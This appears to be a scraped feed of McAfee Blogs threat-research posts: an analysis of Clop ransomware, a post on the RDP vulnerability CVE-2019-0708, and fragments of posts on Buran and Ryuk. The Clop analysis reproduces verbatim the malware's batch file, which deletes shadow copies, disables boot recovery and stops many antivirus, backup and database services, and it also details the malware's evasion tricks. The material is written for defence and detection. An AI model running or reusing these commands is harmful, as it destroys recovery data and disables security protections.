We created a YARA rule to detect Buran ransomware samples and the rule is available in our GitHub repository


Buran represents an evolution of a well-known player in the ransomware landscape. VegaLocker had a history of infections in companies and end-users and the malware developers behind it are still working on new features, as well as new brands, as they continue to generate profits from those actions. We observed new versions of Buran with just a few months between them in terms of development, so we expect more variants from the authors in the future and, perhaps, more brand name changes if the security industry puts too much focus on them. We are observing an increase in ransomware families in 2019, as well as old players in the market releasing new versions based on their own creations.

For the binaries, all of them appeared with a custom packer and already came with interesting features to avoid detection or to ensure the user must pay due to the difficulty of retrieving the files. It mimics some features from the big players and we expect the inclusion of more features in future developments.

Buran is slower than other ransomware families we observed, and samples are coded in Delphi which makes reverse engineering difficult.

The post Buran Ransomware; the Evolution of VegaLocker appeared first on McAfee Blogs.

]]> 0
Clop Ransomware Thu, 01 Aug 2019 16:01:06 +0000

This new ransomware was discovered by Michael Gillespie on 8 February 2019 and it is still improving over time. This blog will explain the technical details and share information about how this new ransomware family is working. There are some variants of the Clop ransomware but in this report, we will focus on the main […]

The post Clop Ransomware appeared first on McAfee Blogs.


This new ransomware was discovered by Michael Gillespie on 8 February 2019 and it is still improving over time. This blog will explain the technical details and share information about how this new ransomware family is working. There are some variants of the Clop ransomware but in this report, we will focus on the main version and highlight part of those variations. The main goal of Clop is to encrypt all files in an enterprise and request a payment to receive a decryptor to decrypt all the affected files. To achieve this, we observed some new techniques being used by the author that we have not seen before. Clearly over the last few months we have seen more innovative techniques appearing in ransomware.

Clop Overview

The Clop ransomware is usually packed to hide its inner workings. The sample we analyzed was also signed with the following certificate in the first version (now revoked):

FIGURE 1. Packer signed to avoid av programs and mislead the user

Signing a malicious binary, in this case ransomware, may trick security solutions to trust the binary and let it pass. Although this initial certificate was revoked in a few days, another version appeared soon after with another certificate:

FIGURE 2. New certificate in new version

This sample was discovered by MalwareHunterTeam ( on the 26 February, 2019.

We discovered the following Clop ransomware samples which were signed with a certificate:

This malware is prepared to avoid running under certain conditions, for example in the first version it requests to be installed as a service; if that will not succeed, it will terminate itself.

The malware’s first action is to compare the keyboard of the victim computer using the function “GetKeyboardLayout”  against the hardcoded values.

This function returns the user keyboard input layout at the moment the malware calls the function.

The malware checks that the layout is bigger than the value 0x0437 (Georgian), makes some calculations with the Russian language (0x0419) and with the Azerbaijan language (0x082C). This function will return 1 or 0, 1 if it belongs to Russia or another CIS country, or 0 in every other case.

FIGURE 3. Checking the keyboard layout

If the function returns 0, it will go to the normal flow of the malware, otherwise it will get the device context of the entire screen with the function “GetDC”. Another condition will come from the function “GetTextCharset” that returns the font used in the system if it does not have the value 0xCC (RUSSIAN_CHARSET). If it is the charset used, the malware will delete itself from the disk and terminate itself with “TerminateProcess” but if it is not this charset, it will continue in the normal flow This double check circumvents users with a multisystem language, i.e. they have the Russian language installed but not active in the machine to avoid this type of malware.

FIGURE 4. Check the text charset and compare with Russian charset

The code that is supposed to delete the ransomware from the disk contains an error. It will call directly to the prompt of the system without waiting for the malware to finish.  This means that the execution of the command will be correct but, as the malware is still running, it will not delete it from the disk. This happens because the author did not use a “timeout” command.

FIGURE 5. Deletion of the malware itself

The next action of the malware is to create a new thread that will start all processes. With the handle of this thread, it will wait for an infinite amount of time to finish with the “WaitForSingleObject” function and later return to the winMain function and exit.

This thread’s first action is to create a file called “Favorite” in the same folder as the malware. Later, it will check the last error with “GetLastError” and, if the last error was 0,  it will wait with the function “Sleep” for 5 seconds.

Later the thread will make a dummy call to the function “EraseTape” with a handle of 0, perhaps to disturb the emulators because the handle is put at 0 in a hardcoded opcode, and later a call to the function “DefineDosDeviceA” with an invalid name that returns another error. These operations will make a loop for 666000 times.

FIGURE 6. Loop to disturb the analysis

The next action is to search for some processes with these names:

  • SBAMTray.exe (Vipre antivirus product)
  • SBPIMSvc.exe (Sunbelt AntiMalware antivirus product)
  • SBAMSvc.exe (GFI AntiMalware antivirus product)
  • VipreAAPSvc.exe (Vipre antivirus product)
  • WRSA.exe (WebRoot antivirus product)

If some of these processes are discovered, the malware will wait 5 seconds using “Sleep” and later another 5 seconds. After those “sleep”, the malware will continue with their normal flow. If these processes are not detected, it will access to their own resources and extract it with the name “OFFNESTOP1”. That resource is encrypted but has inside a “.bat” file.

FIGURE 7. Access to the first resource crypted

The decryption is a simple XOR operation with bytes from this string:


The next action is to write this batch file in the same folder where the malware stays with the function “CreateFileA”.  The file created has the name “clearsystems-11-11.bat”. Later will launch it with “ShellExecuteA”, wait for 5 seconds to finish and delete the file with the function “DeleteFileA”.

It is clear that the authors are not experienced programmers because they are using a .bat file for the next actions:

  • Delete the shadow volumes with vssadmin (“vssadmin Delete Shadows /all /quiet”).
  • Resize the shadow storage for all units starting from C to H units’ letters (hardcoded letters) to avoid the shadow volumes being made again.
  • Using bcedit program to disable the recovery options in the boot of the machine and set to ignore any failure in the boot warning the user.

All these actions could have been performed in the malware code itself, without the need of an external file that can be detected and removed.

FIGURE 8. The BAT file to disable the shadow volumes and more security

The next action is to create a mutex with the name hardcoded “Fany—Fany—6-6-6” and later make a call to the function “WaitForSingleObject” and check the result with 0.  If the value is 0 it means that the mutex was created for this instance of the malware but if it gets another value, it means that the mutex was made from another instance or vaccine and, in this case, it will finish the execution of the malware.

After this, it will make 2 threads, one of them to search for processes and the another one to crypt files in the network shares that it has access to.

The first thread enumerates all processes of the system and creates the name of the process in upper case and calculates a hash with the name and compares it with a big list of hashes. This hash algorithm is a custom algorithm. It is typical in malware that tries to hide what processes they are looking for. If it finds one of them it will terminate it with “TerminateProcess” function after opening with the rights to make this action with “OpenProcess” function.

The malware contains 61 hard-coded hashes of programs such as “STEAM.EXE”, database programs, office programs and others.

Below, the first 38 hashes with the associated process names. These 38 processes are the most usual processes to close as we have observed with other ransomwares families such as GandCrab, Cerber, etc.

This thread runs in an infinite loop with a wait using the function “Sleep” per iteration of 30 minutes.

FIGURE 9. Thread to kill critical processes to unlock files

The second thread created has the task of enumerating all network shares and crypts files in them if the malware has access to them.

For executing this task, it uses the typical API functions of the module “MPR.DLL”:

  • WNetOpenEnumW
  • WNetEnumResourceW
  • WNetCloseEnum

This thread starts creating a reserve of memory with “GlobalAlloc” function to keep the information of the “MPR” functions.

For each network share that the malware discovers, it will prepare to enumerate more shares and crypt files.

For each folder discovered, it will enter it and search for more subfolders and files. The first step is to check the name of the folder/file found against a hardcoded list of hashes with the same algorithm used to detect the processes to close.

Below are the results of 12 of the 27 hashes with the correct names:

If it passes, it will check that the file is not a folder, and in this case compare the name with a list of hardcoded names and extensions that are in plain text rather than in hash format:

  • ClopReadMe.txt
  • ntldr
  • boot.ini
  • ntuser.ini
  • autoexec.bat
  • .Clop
  • .dll
  • .DLL
  • .exe
  • .EXE
  • .sys
  • .SYS
  • .ocx
  • .OCX
  • .LNK
  • .lnk
  • desktop.ini
  • autorun.inf
  • ntuser.dat
  • iconcache.db
  • bootsect.bak
  • ntuser.dat.log
  • thumbs.db

This check is done with a custom function that checks character per character against all the list. It is the reason for having the same names in both upper and lower case, instead of using the function “lstrcmpiA,” for example, to avoid some hook in this function preventing the file from being affected. The check of the extension at the same time is to make the process of crypto quicker. Of course, the malware checks that the file does not have the name of the ransom note and the extension that it will put in the crypted file. Those blacklisted extensions will help the system avoid crashing during the encryption compared with other ransomware families.

FIGURE 10. Check of file names and extensions

This behavior is normal in ransomware but the previous check against hardcoded hashes based on the file/folder name is weird because later, as we can see in the above picture, the next check is against plain text strings.

If it passes this check, the malware will make a new thread with a struct prepared with a hardcoded key block, the name of the file, and the path where the file exists. In this thread the first action is to remove the error mode with “SetErrorMode” to 1 to avoid an error dialog being shown to the user if it crashes. Later, it will prepare the path to the file from the struct passed as argument to the thread and change the attributes of the file to ARCHIVE with the function “SetFileAttributesW”, however the malware does not check if it can make this action with success or not.

Later it will generate a random AES key and crypt each byte of the file with this key, next it will put the mark “Clop^_” at the end of the file, after the mark it will put the key used to crypt the file ciphered with the master RSA key that has hardcoded the malware to protect it against third party free decryptors.

The malware can use 2 different public RSA keys: one exported using the crypto api in a public blob or using the embedded in base64 in the malware. The malware will only use the second one if it cannot create the crypto context or has some problem with the crypto api functions.

The malware does not have support for Windows XP in its use with the crypto functions, because the CSP used in Windows XP has another name, but if run in another operating system starting with Windows Vista, it can change the name in the debugger to acquire the context later and will generate a RSA public blob.

Another difference with other ransomware families is that Clop will only cipher the disk that is a physical attached/embedded disk (type 3, FIXED or removable (type 2)). The malware ignores the REMOTE type (4)).

Anyways, the shares can be affected using the “MPR.DLL” functions without any problem.

FIGURE 11. Filemark in the crypted file and key used ciphered

After encrypting, the file will try to open in the same folder the ransom note and, if it exists, it will continue without overwriting it to save time, but if the ransom note does not exist it will access one resource in the malware called “OFFNESTOP”. This resource is crypted with the same XOR operation as the first resource: the .bat file, after decrypting, will write the ransom note in the folder of the file.

FIGURE 12. Creation of the ransom note from a crypted resource

Here is a sample of the ransom note of the first version of this malware:

FIGURE 13. Example of ransom note of the first version of the malware

After this, Clop will continue with the next file with the same process however, the check of the name based with the hash is avoided now.

Second Version of the Malware

The second version found by the end of February has some changes if it is compared with the first one. The hash of this version is: “ed7db8c2256b2d5f36b3d9c349a6ed0b”.

The first change is some changes in the strings in plain text of the code to make the execution in the “EraseTape” call and “FindAtomW” call more slowly. Now the names are for the tape: “” and the atom “”.

The second change is the name of the resources crypted in the binary, the first resource that is a second batch file to delete the shadow volumes and remove the protections in the boot of the machine as the previous one has another name: “RC_HTML1”.

FIGURE 14. New resource name for the batch file

However, the algorithm to decrypt this resource is the same, except that they changed the big string that acts as a key for the bytes. Now the string is: “JLKHFVIjewhyur3ikjfldskfkl23j3iuhdnfklqhrjjio2ljkeosfjh7823763647823hrfuweg56t7r6t73824y78Clop”. It is important to remember that this string remains in plain text in the binary but, as it has changed, it cannot be used for a Yara rule. The same counts for the name of the resources and also for the hash of the resource because the bat changes per line in some cases and in another as it will have more code to stop services of products of security and databases.

The contents of the new BAT file are:

@echo off

vssadmin Delete Shadows /all /quiet

vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB

vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded

vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB

vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded

vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB

vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded

vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB

vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded

vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB

vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded

vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB

vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded

bcdedit /set {default} recoveryenabled No

bcdedit /set {default} bootstatuspolicy ignoreallfailures

vssadmin Delete Shadows /all /quiet

net stop SQLAgent$SYSTEM_BGC /y

net stop “Sophos Device Control Service” /y

net stop macmnsvc /y

net stop SQLAgent$ECWDB2 /y

net stop “Zoolz 2 Service” /y

net stop McTaskManager /y

net stop “Sophos AutoUpdate Service” /y

net stop “Sophos System Protection Service” /y

net stop EraserSvc11710 /y

net stop PDVFSService /y


net stop SAVService /y

net stop MSSQLFDLauncher$TPSAMA /y

net stop EPSecurityService /y

net stop SQLAgent$SOPHOS /y

net stop “Symantec System Recovery” /y

net stop Antivirus /y

net stop SstpSvc /y

net stop MSOLAP$SQL_2008 /y

net stop TrueKeyServiceHelper /y

net stop sacsvr /y

net stop VeeamNFSSvc /y

net stop FA_Scheduler /y

net stop SAVAdminService /y

net stop EPUpdateService /y

net stop VeeamTransportSvc /y

net stop “Sophos Health Service” /y

net stop bedbg /y

net stop MSSQLSERVER /y

net stop KAVFS /y

net stop Smcinst /y

net stop MSSQLServerADHelper100 /y

net stop TmCCSF /y

net stop wbengine /y

net stop SQLWriter /y

net stop MSSQLFDLauncher$TPS /y

net stop SmcService /y

net stop ReportServer$TPSAMA /y

net stop swi_update /y

net stop AcrSch2Svc /y

net stop MSSQL$SYSTEM_BGC /y

net stop VeeamBrokerSvc /y


net stop VeeamDeploymentService /y

net stop SQLAgent$TPS /y

net stop DCAgent /y

net stop “Sophos Message Router” /y


net stop wbengine /y

net stop MySQL80 /y


net stop ReportServer$TPS /y

net stop MSSQL$ECWDB2 /y

net stop SntpService /y


net stop BackupExecManagementService /y

net stop SMTPSvc /y

net stop mfefire /y

net stop BackupExecRPCService /y

net stop MSSQL$VEEAMSQL2008R2 /y

net stop klnagent /y

net stop MSExchangeSA /y

net stop MSSQLServerADHelper /y

net stop SQLTELEMETRY /y

net stop “Sophos Clean Service” /y

net stop swi_update_64 /y

net stop “Sophos Web Control Service” /y

net stop EhttpSrv /y

net stop POP3Svc /y

net stop MSOLAP$TPSAMA /y

net stop McAfeeEngineService /y

net stop “Veeam Backup Catalog Data Service” /


net stop ReportServer$SYSTEM_BGC /y

net stop AcronisAgent /y

net stop KAVFSGT /y

net stop BackupExecDeviceMediaService /y

net stop MySQL57 /y

net stop McAfeeFrameworkMcAfeeFramework /y

net stop TrueKey /y

net stop VeeamMountSvc /y

net stop MsDtsServer110 /y

net stop SQLAgent$BKUPEXEC /y

net stop UI0Detect /y

net stop ReportServer /y


net stop MSSQLFDLauncher$SYSTEM_BGC /y

net stop MSSQL$BKUPEXEC /y

net stop SQLAgent$PRACTTICEBGC /y

net stop MSExchangeSRS /y

net stop SQLAgent$VEEAMSQL2008R2 /y

net stop McShield /y

net stop SepMasterService /y

net stop “Sophos MCS Client” /y

net stop VeeamCatalogSvc /y

net stop SQLAgent$SHAREPOINT /y

net stop NetMsmqActivator /y

net stop kavfsslp /y

net stop tmlisten /y

net stop ShMonitor /y

net stop MsDtsServer /y

net stop SQLAgent$SQL_2008 /y

net stop SDRSVC /y

net stop IISAdmin /y

net stop SQLAgent$PRACTTICEMGT /y

net stop BackupExecJobEngine /y

net stop SQLAgent$VEEAMSQL2008R2 /y

net stop BackupExecAgentBrowser /y

net stop VeeamHvIntegrationSvc /y

net stop masvc /y

net stop W3Svc /y

net stop “SQLsafe Backup Service” /y

net stop SQLAgent$CXDB /y

net stop SQLBrowser /y

net stop MSSQLFDLauncher$SQL_2008 /y

net stop VeeamBackupSvc /y

net stop “Sophos Safestore Service” /y

net stop svcGenericHost /y

net stop ntrtscan /y

net stop SQLAgent$VEEAMSQL2012 /y

net stop MSExchangeMGMT /y

net stop SamSs /y

net stop MSExchangeES /y

net stop MBAMService /y

net stop EsgShKernel /y

net stop ESHASRV /y

net stop MSSQL$TPSAMA /y


net stop VeeamCloudSvc /y

net stop “Sophos File Scanner Service” /y

net stop “Sophos Agent” /y

net stop MBEndpointAgent /y

net stop swi_service /y


net stop SQLAgent$TPSAMA /y

net stop McAfeeFramework /y

net stop “Enterprise Client Service” /y

net stop SQLAgent$SBSMONITORING /y

net stop MSSQL$VEEAMSQL2012 /y

net stop swi_filter /y

net stop SQLSafeOLRService /y

net stop BackupExecVSSProvider /y

net stop VeeamEnterpriseManagerSvc /y

net stop SQLAgent$SQLEXPRESS /y

net stop OracleClientCache80 /y


net stop IMAP4Svc /y

net stop ARSM /y

net stop MSExchangeIS /y

net stop AVP /y

net stop MSSQLFDLauncher /y

net stop MSExchangeMTA /y

net stop TrueKeyScheduler /y

net stop MSSQL$SOPHOS /y

net stop “SQL Backups” /y

net stop MSSQL$TPS /y

net stop mfemms /y

net stop MsDtsServer100 /y


net stop WRSVC /y

net stop mfevtp /y

net stop msftesql$PROD /y

net stop mozyprobackup /y

net stop MSSQL$SQL_2008 /y

net stop SNAC /y

net stop ReportServer$SQL_2008 /y

net stop BackupExecAgentAccelerator /y



net stop VeeamRESTSvc /y

net stop sophossps /y

net stop ekrn /y

net stop MMS /y

net stop “Sophos MCS Agent” /y

net stop RESvc /y

net stop “Acronis VSS Provider” /y

net stop MSSQL$VEEAMSQL2008R2 /y

net stop MSSQLFDLauncher$SHAREPOINT /y

net stop “SQLsafe Filter Service” /y

net stop MSSQL$PROD /y

net stop SQLAgent$PROD /y

net stop MSOLAP$TPS /y

net stop VeeamDeploySvc /y

net stop MSSQLServerOLAPService /y

The next change is the mutex name. In this version it is “HappyLife^_-“, so, can it be complex to make a vaccine based on the mutex name because it can be changed easily in each new sample.

The next change is the hardcoded public key of the malware that is different to the previous version.

Another change is the file created; the first version creates the file with the name “Favourite” but this version creates this file with the name “Comone”.

However, the algorithm of crypto of the files and the mark in the file crypted is the same.

Another difference is in the ransom note that is now clearer with some changes in the text and now has 3 emails instead of one to contact the ransomware developers.

FIGURE 15.Example of the new ransom note

Other Samples of the Malware

Clop is a ransomware family that its authors or affiliates can change in a quick way to make it more complex to track the samples. The code largely remains the same but changing the strings can make it more difficult to detect and/or classify it correctly.

Now we will talk about the changes of some samples to see how prolific the ransomware Clop is.

Sample 0403db9fcb37bd8ceec0afd6c3754314 has a compile date of 12 February, 2019 and has the following changes if compared with other samples:

  • The file created has the name “you_offer.txt”.
  • The name of the device in the fake call to “EraseTape” and “DefineDosDeviceA” functions is “..1”.
  • An atom searched for nothing has the name of “$$$$”.
  • The mutex name is “MoneyP#666”.
  • The resources crypted with the ransom note and the bat file are called “SIXSIX1” for the batch file and the another one for the ransom note “SIXSIX”.
  • The name of the batch file is “clearsystems-10-1.bat”.
  • The key for the XOR operation to decrypt the ransom note and the batch file is:


  • The batch file is different to the other versions, in this case not changing the boot config of the target victim.

FIGURE 16. Another version of the batch file

  • The email addresses to contact are: and .
  • As a curiosity, this ransom note has a line that another does not have: “Every day of delay will cost you additional +0.5 BTC” (about 1500-1700 $).

The 3ea56f82b66b26dc66ee5382d2b6f05d sample has the following points of difference:

  • The name of the file created is “popup.txt”.
  • The DefineDosDeviceA name is “1234567890”
  • The mutex is “CLOP#666”.
  • The date of compiled this sample is 7 of February.
  • The name of the bat file is “resort0-0-0-1-1-0-bat”.
  • This sample does not have support for Windows XP because a API that does not exist in Windows XP.
  • The Atom string is “27”.

Sample 846f93fcb65c9e01d99b867fea384edc , has these differences:

  • The name of the file created is “HotGIrls”.
  • The DosDevice name is “GVSDFDS”.
  • Atom name: KLHJGWSEUiokgvs.
  • Batch file name “clearnetworksdns-11-22-33.bat”.
  • The email address to contact:, and
  • The ransom note does not have the previous string of increasing the price, but the maximum number of files that can be decrypted is 7 instead of 6..

As the reader can understand, Clop changes very quickly in strings and name of resources to make it more complex to detect the malware.

We also observed that the .BAT files were not present in earlier Clop ransomware versions.

Global Spread

Based on the versions of Clop we discovered we detected telemetry hits in the following countries:

  • Switzerland
  • Great Britain
  • Belgium
  • United States
  • The Netherlands
  • Croatia
  • Porto Rico
  • Germany
  • Turkey
  • Russia
  • Denmark
  • Mexico
  • Canada
  • Dominican Republic


The function to check a file or a folder name using the custom hash algorithm can be a problem for the malware execution due if one of them is found in execution, the malware will avoid it. If this happens with a folder, all the files inside that folder will be skipped as well.

As the algorithm and the hash is based on 32bits and only in upper case characters, it is very easy to create a collision as we know the target hashes and the algorithm

It cannot be used as vaccine on itself, but it can be useful to protect against the malware if the most critical files are inside of a collision folder name.

FIGURE 17. Collision of hashes

In the screenshot “BOOT” is a correct name for the hash, but the others are collisions.

This malware has a lot of changes per version that avoid making a normal vaccine using mutex, etc.

The Odd One in the Family

That not all ransomware is created equally, especially goes for Clop. Earlier in this blog we have highlighted some interesting choices the developers made when it came to detecting language settings, processes and the use of batch files to delete the shadow volume copies. We found in the analysis some unique functions compared with other ransomware families.

However, Clop does embrace some of the procedures we have seen with other ransomware families by not listing the ransom amount or mentioning a bitcoin address.

Victims must communicate via email instead of with a central command and control server hosting decryption keys. In the newer versions of Clop, victims are required to state their company name and site in the email communications. We are not absolutely sure why this is, but it might be an effort to improve victim tracking.

Looking at the Clop ransom note, it shares TTPs with other ransomware families; e.g. it mimics the Ryuk ransomware and contains similarities with BitPaymer, however the code and functions are quite different between them.


Customers of McAfee gateway and endpoint products are protected against this version.

  • GenericRXHA-RK!3FE02FDD2439
  • GenericRXHA-RK!160FD326A825
  • Trojan-Ransom
  • Ransom-Clop!73FBFBB0FB34
  • Ransom-Clop!0403DB9FCB37
  • Ransom-Clop!227A9F493134
  • Ransom-Clop!A93B3DAA9460
  • GenericRXHA-RK!35792C550176
  • GenericRXHA-RK!738314AA6E07
  • RDN/Generic.dx
  • bub
  • BAT/Ransom-Clob
  • BAT/Ransom-Blob

McAfee ENS customers can create expert rules to prevent batch command execution by the ransomware. A few examples are given below for reference.

The following expert rule can be used to prevent the malware from deleting the shadow volumes with vssadmin (“vssadmin Delete Shadows /all /quiet”).

When the expert rule is applied at the endpoint, deletion of shadow volume fails with the following error message:

The malware also tries to stop McAfee services using command “net stop McShield /y”. The following expert rule can be used to prevent the malware from stopping McAfee Services:

When the expert rule is applied at the endpoint, the attempt to stop McAfee service using net command fails with the following error message:

Indicators of Compromise

The samples use the following MITRE ATT&CK™ techniques:

  • Execution through API (Batch file for example).
  • Application processes discovery with some procedures as the hashes of the name, and directly for the name of the process.
  • File and directory discovery: to search files to encrypt.
  • Encrypt files.
  • Process discovery: enumerating all processes on the endpoint to kill some special ones.
  • Create files.
  • Create mutants.


Clop ransomware shows some characteristics that enterprises are its intended targets instead of end consumers. The authors displayed some creative technical solutions, to detect the victim’s language settings and installed programs. On the other hand, we also noticed some weird decisions when it came to coding certain functionalities in the ransomware. Unfortunately, it is not the first time that criminals will make money with badly programmed malware.

Clop is constantly evolving and even though we do not know what new changes will be implemented in the future, McAfee ATR will keep a close watch.


  • 9d59ee5fc7898493b855b0673d11c886882c5c1d
  • f4492b2df9176514a41067140749a54a1cfc3c49
  • 2950a3fcdd4e52e2b9469a33eee1012ef58e72b6
  • 37a62c93ba0971ed7f77f5842d8c9b8a4475866c
  • a71c9c0ca01a163ea6c0b1544d0833b57a0adcb4
  • 21bdec0a974ae0f811e056ce8c7e237fd7c220c1
  • 0a7ab8cc60b04e66be11eb41672991482b9c0656
  • ec2a3e9e9e472488b7540227448c1794ee7a5be6
  • e473e5b82ce65cb58fde4956ae529453eb0ec24f
  • 3c8e60ce5ff0cb21be39d1176d1056f9ef9438fa
  • d613f01ed5cb636feeb5d6b6843cb1686b7b7980
  • c41749901740d032b8cff0e397f6c3e26d05df76
  • e38bca5d39d1cfbfbcac23949700fe24a6aa5d89
  • 09b4c74c0cf18533c8c5022e059b4ce289066830
  • 37269b8d4115f0bdef96483b1de4593b95119b93
  • 4d885d757d00e8abf8c4993bc49886d12c250c44
  • bc59ff12f71e9c8234c5e335d48f308207f6accfad3e953f447e7de1504e57af
  • 31829479fa5b094ca3cfd0222e61295fff4821b778e5a7bd228b0c31f8a3cc44
  • 35b0b54d13f50571239732421818c682fbe83075a4a961b20a7570610348aecc
  • e48900dc697582db4655569bb844602ced3ad2b10b507223912048f1f3039ac6
  • 00e815ade8f3ad89a7726da8edd168df13f96ccb6c3daaf995aa9428bfb9ecf1
  • 408af0af7419f67d396f754f01d4757ea89355ad19f71942f8d44c0d5515eec8
  • 0d19f60423cb2128555e831dc340152f9588c99f3e47d64f0bb4206a6213d579
  • 7ada1228c791de703e2a51b1498bc955f14433f65d33342753fdb81bb35e5886
  • 8e1bbe4cedeb7c334fe780ab3fb589fe30ed976153618ac3402a5edff1b17d64
  • d0cde86d47219e9c56b717f55dcdb01b0566344c13aa671613598cab427345b9
  • cff818453138dcd8238f87b33a84e1bc1d560dea80c8d2412e1eb3f7242b27da
  • 929b7bf174638ff8cb158f4e00bc41ed69f1d2afd41ea3c9ee3b0c7dacdfa238
  • 102010727c6fbcd9da02d04ede1a8521ba2355d32da849226e96ef052c080b56
  • 7e91ff12d3f26982473c38a3ae99bfaf0b2966e85046ebed09709b6af797ef66
  • e19d8919f4cb6c1ef8c7f3929d41e8a1a780132cb10f8b80698c8498028d16eb
  • 3ee9b22827cb259f3d69ab974c632cefde71c61b4a9505cec06823076a2f898e
  • b207ce32398e8816ed44ea079904dc36
  • 73efd5dc218db4d8c36546d9c9efe91c
  • 36fe53674c67310af572daedf6e8deed
  • 96caf3bcd58d41d23d1a4e27f2165ae3
  • 7c90d8aed3efb9f8c661b1ab0a6f5986

The post Clop Ransomware appeared first on McAfee Blogs.

]]> 0
RDP Stands for “Really DO Patch!” – Understanding the Wormable RDP Vulnerability CVE-2019-0708 Tue, 21 May 2019 21:09:35 +0000

During Microsoft’s May Patch Tuesday cycle, a security advisory was released for a vulnerability in the Remote Desktop Protocol (RDP). What was unique in this particular patch cycle was that Microsoft produced a fix for Windows XP and several other operating systems, which have not been supported for security updates in years. So why the […]

The post RDP Stands for “Really DO Patch!” – Understanding the Wormable RDP Vulnerability CVE-2019-0708 appeared first on McAfee Blogs.


During Microsoft’s May Patch Tuesday cycle, a security advisory was released for a vulnerability in the Remote Desktop Protocol (RDP). What was unique in this particular patch cycle was that Microsoft produced a fix for Windows XP and several other operating systems, which have not been supported for security updates in years. So why the urgency and what made Microsoft decide that this was a high risk and critical patch?

According to the advisory, the issue discovered was serious enough that it led to Remote Code Execution and was wormable, meaning it could spread automatically on unprotected systems. The bulletin referenced well-known network worm “WannaCry” which was heavily exploited just a couple of months after Microsoft released MS17-010 as a patch for the related vulnerability in March 2017. McAfee Advanced Threat Research has been analyzing this latest bug to help prevent a similar scenario and we are urging those with unpatched and affected systems to apply the patch for CVE-2019-0708 as soon as possible. It is extremely likely malicious actors have weaponized this bug and exploitation attempts will likely be observed in the wild in the very near future.

Vulnerable Operating Systems:

  • Windows 2003
  • Windows XP
  • Windows 7
  • Windows Server 2008
  • Windows Server 2008 R2

Worms are viruses which primarily replicate on networks. A worm will typically execute itself automatically on a remote machine without any extra help from a user. If a virus’ primary attack vector is via the network, then it should be classified as a worm.

The Remote Desktop Protocol (RDP) enables connection between a client and endpoint, defining the data communicated between them in virtual channels. Virtual channels are bidirectional data pipes which enable the extension of RDP. Windows Server 2000 defined 32 Static Virtual Channels (SVCs) with RDP 5.1, but due to limitations on the number of channels further defined Dynamic Virtual Channels (DVCs), which are contained within a dedicated SVC. SVCs are created at the start of a session and remain until session termination, unlike DVCs which are created and torn down on demand.

It’s this 32 SVC binding which CVE-2019-0708 patch fixes within the _IcaBindVirtualChannels and _IcaRebindVirtualChannels functions in the RDP driver termdd.sys. As can been seen in figure 1, the RDP Connection Sequence connections are initiated and channels setup prior to Security Commencement, which enables CVE-2019-0708 to be wormable since it can self-propagate over the network once it discovers open port 3389.


Figure 1: RDP Protocol Sequence

The vulnerability is due to the “MS_T120” SVC name being bound as a reference channel to the number 31 during the GCC Conference Initialization sequence of the RDP protocol. This channel name is used internally by Microsoft and there are no apparent legitimate use cases for a client to request connection over an SVC named “MS_T120.”

Figure 2 shows legitimate channel requests during the GCC Conference Initialization sequence with no MS_T120 channel.

Figure 2: Standard GCC Conference Initialization Sequence

However, during GCC Conference Initialization, the Client supplies the channel name which is not whitelisted by the server, meaning an attacker can setup another SVC named “MS_T120” on a channel other than 31. It’s the use of MS_T120 in a channel other than 31 that leads to heap memory corruption and remote code execution (RCE).

Figure 3 shows an abnormal channel request during the GCC Conference Initialization sequence with “MS_T120” channel on channel number 4.


Figure 3: Abnormal/Suspicious GCC Conference Initialization Sequence – MS_T120 on nonstandard channel

The components involved in the MS_T120 channel management are highlighted in figure 4. The MS_T120 reference channel is created in the rdpwsx.dll and the heap pool allocated in rdpwp.sys. The heap corruption happens in termdd.sys when the MS_T120 reference channel is processed within the context of a channel index other than 31.

Figure 4: Windows Kernel and User Components

The Microsoft patch as shown in figure 5 now adds a check for a client connection request using channel name “MS_T120” and ensures it binds to channel 31 only (1Fh) in the _IcaBindVirtualChannels and _IcaRebindVirtualChannels functions within termdd.sys.


Figure 5: Microsoft Patch Adding Channel Binding Check

After we investigated the patch being applied for both Windows 2003 and XP and understood how the RDP protocol was parsed before and after patch, we decided to test and create a Proof-of-Concept (PoC) that would use the vulnerability and remotely execute code on a victim’s machine to launch the calculator application, a well-known litmus test for remote code execution.

Figure 6: Screenshot of our PoC executing

For our setup, RDP was running on the machine and we confirmed we had the unpatched versions running on the test setup. The result of our exploit can be viewed in the following video:

There is a gray area to responsible disclosure. With our investigation we can confirm that the exploit is working and that it is possible to remotely execute code on a vulnerable system without authentication. Network Level Authentication should be effective to stop this exploit if enabled; however, if an attacker has credentials, they will bypass this step.

As a patch is available, we decided not to provide earlier in-depth detail about the exploit or publicly release a proof of concept. That would, in our opinion, not be responsible and may further the interests of malicious adversaries.


  • We can confirm that a patched system will stop the exploit and highly recommend patching as soon as possible.
  • Disable RDP from outside of your network and limit it internally; disable entirely if not needed. The exploit is not successful when RDP is disabled.
  • Client requests with “MS_T120” on any channel other than 31 during GCC Conference Initialization sequence of the RDP protocol should be blocked unless there is evidence for legitimate use case.


It is important to note as well that the RDP default port can be changed in a registry field, and after a reboot will be tied the newly specified port. From a detection standpoint this is highly relevant.

Figure 7: RDP default port can be modified in the registry

Malware or administrators inside of a corporation can change this with admin rights (or with a program that bypasses UAC) and write this new port in the registry; if the system is not patched the vulnerability will still be exploitable over the unique port.

McAfee Customers:

McAfee NSP customers are protected via the following signature released on 5/21/2019:

0x47900c00 “RDP: Microsoft Remote Desktop MS_T120 Channel Bind Attempt”

If you have any questions, please contact McAfee Technical Support.


The post RDP Stands for “Really DO Patch!” – Understanding the Wormable RDP Vulnerability CVE-2019-0708 appeared first on McAfee Blogs.

]]> 0
Ryuk, Exploring the Human Connection Wed, 20 Feb 2019 05:01:05 +0000

In collaboration with Bill Siegel and Alex Holdtman from Coveware.   At the beginning of 2019, McAfee ATR published an article describing how the hasty attribution of Ryuk ransomware to North Korea was missing the point. Since then, collective industry peers discovered additional technical details on Ryuk’s inner workings, the overlap between Ryuk and Hermes2.1, […]

